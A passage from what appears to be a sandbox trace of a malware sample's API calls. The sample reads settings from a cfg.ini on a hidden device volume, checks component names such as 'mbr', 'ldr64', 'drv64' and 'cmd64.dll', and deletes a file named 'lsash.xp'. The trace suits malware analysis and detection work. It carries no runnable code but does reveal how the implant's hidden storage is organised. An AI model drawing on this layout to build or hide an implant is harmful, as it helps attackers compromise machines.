MemoryDescriptorList=0xfffffa8003b87f40) [0119.620] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.620] IdePortDispatch () returned 0x103 [0119.620] KeWaitForMutexObject () returned 0x0 [0119.620] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.620] KeLeaveCriticalRegion () [0119.620] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.621] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.621] KeEnterCriticalRegion () [0119.621] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.621] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.621] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.621] KeLeaveCriticalRegion () [0119.621] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.621] KeEnterCriticalRegion () [0119.621] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.621] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.621] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bdbb70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.621] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.621] KeLeaveCriticalRegion () [0119.621] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.621] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.621] KeEnterCriticalRegion () [0119.621] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.621] ExFreePoolWithTag (P=0xfffffa8003bda9d0, Tag=0x0) [0119.621] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.621] KeLeaveCriticalRegion () [0119.621] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.621] ReleaseMutex (hMutex=0xf0) returned 1 [0119.621] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.621] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.621] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.621] KeEnterCriticalRegion () [0119.621] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.621] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.621] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.621] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.621] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.621] IdePortDispatch () returned 0x103 [0119.621] KeWaitForMutexObject () returned 0x0 [0119.622] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.622] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.622] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.622] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.622] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.622] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bda810 [0119.622] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.622] KeLeaveCriticalRegion () [0119.622] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.622] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.622] KeEnterCriticalRegion () [0119.622] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.622] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.622] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.622] KeLeaveCriticalRegion () [0119.622] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.622] KeEnterCriticalRegion () [0119.622] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.622] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.622] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.622] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.622] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.622] IdePortDispatch () returned 0x103 [0119.622] KeWaitForMutexObject () returned 0x0 [0119.622] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.622] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.622] KeLeaveCriticalRegion () [0119.622] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.622] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.622] KeEnterCriticalRegion () [0119.622] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.622] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002dbd000 [0119.623] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.623] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.623] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.623] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.623] IdePortDispatch () returned 0x103 [0119.623] KeWaitForMutexObject () returned 0x0 [0119.625] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.625] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.625] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.625] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.625] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.625] IdePortDispatch () returned 0x103 [0119.625] KeWaitForMutexObject () returned 0x0 [0119.625] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.625] KeLeaveCriticalRegion () [0119.625] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.625] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.625] KeEnterCriticalRegion () [0119.625] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.625] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.625] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.625] KeLeaveCriticalRegion () [0119.625] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.625] KeEnterCriticalRegion () [0119.625] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.625] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.625] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bdab30, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.625] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.626] KeLeaveCriticalRegion () [0119.626] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.626] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.626] KeEnterCriticalRegion () [0119.626] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.626] ExFreePoolWithTag (P=0xfffffa8003bda810, Tag=0x0) [0119.626] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.626] KeLeaveCriticalRegion () [0119.626] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.626] ReleaseMutex (hMutex=0xf0) returned 1 [0119.626] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.632] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0119.632] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.632] KeEnterCriticalRegion () [0119.632] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.632] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.632] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.632] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.632] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.632] IdePortDispatch () returned 0x103 [0119.632] KeWaitForMutexObject () returned 0x0 [0119.632] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.632] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.632] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.632] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.632] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.632] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bda9d0 [0119.632] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.632] KeLeaveCriticalRegion () [0119.632] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.632] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.632] KeEnterCriticalRegion () [0119.632] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.632] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.632] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.632] KeLeaveCriticalRegion () [0119.632] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.632] KeEnterCriticalRegion () [0119.632] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.632] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.632] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.633] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.633] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.633] IdePortDispatch () returned 0x103 [0119.633] KeWaitForMutexObject () returned 0x0 [0119.633] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.633] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.633] KeLeaveCriticalRegion () [0119.633] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.633] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.633] KeEnterCriticalRegion () [0119.633] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.633] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003452000 [0119.633] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.633] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.633] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.633] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.633] IdePortDispatch () returned 0x103 [0119.633] KeWaitForMutexObject () returned 0x0 [0119.633] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.633] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.633] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.633] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.633] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.633] IdePortDispatch () returned 0x103 [0119.633] KeWaitForMutexObject () returned 0x0 [0119.634] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.634] KeLeaveCriticalRegion () [0119.634] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.634] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.634] KeEnterCriticalRegion () [0119.634] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.634] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.634] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.634] KeLeaveCriticalRegion () [0119.634] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.634] KeEnterCriticalRegion () [0119.634] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.634] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.634] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bdbb70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.634] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.634] KeLeaveCriticalRegion () [0119.634] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.634] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.634] KeEnterCriticalRegion () [0119.634] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.634] ExFreePoolWithTag (P=0xfffffa8003bda9d0, Tag=0x0) [0119.634] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.634] KeLeaveCriticalRegion () [0119.634] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.634] ReleaseMutex (hMutex=0xf0) returned 1 [0119.634] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0119.634] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0119.635] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0119.635] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0119.635] KeEnterCriticalRegion () [0119.635] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.635] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.635] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.635] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.635] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.635] IdePortDispatch () returned 0x103 [0119.635] KeWaitForMutexObject () returned 0x0 [0119.635] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.635] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0119.635] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.635] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.635] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.635] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.635] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.635] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.635] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.635] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0119.635] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.635] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.635] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.635] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.635] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.635] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.635] KeLeaveCriticalRegion () [0119.635] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.635] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0119.635] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0119.635] KeEnterCriticalRegion () [0119.635] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.635] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.635] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.635] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.635] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.635] IdePortDispatch () returned 0x103 [0119.635] KeWaitForMutexObject () returned 0x0 [0119.636] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.636] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0119.636] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.636] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.636] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.636] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.636] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.636] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.636] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.636] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0119.636] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.636] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.636] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.636] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.636] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.636] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.636] KeLeaveCriticalRegion () [0119.636] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.636] ReleaseMutex (hMutex=0x100) returned 1 [0119.636] Sleep (dwMilliseconds=0x2bf20) [0119.642] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6a8128b0, dwHighDateTime=0x1d24fa4)) [0119.642] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0119.642] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.642] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.642] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.642] KeEnterCriticalRegion () [0119.642] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.642] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.642] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.642] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.642] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.642] IdePortDispatch () returned 0x103 [0119.642] KeWaitForMutexObject () returned 0x0 [0119.643] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.643] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.643] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.643] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.643] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.643] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039d67e0 [0119.643] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.643] KeLeaveCriticalRegion () [0119.643] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.643] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.643] KeEnterCriticalRegion () [0119.643] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.643] FsRtlProcessFileLock 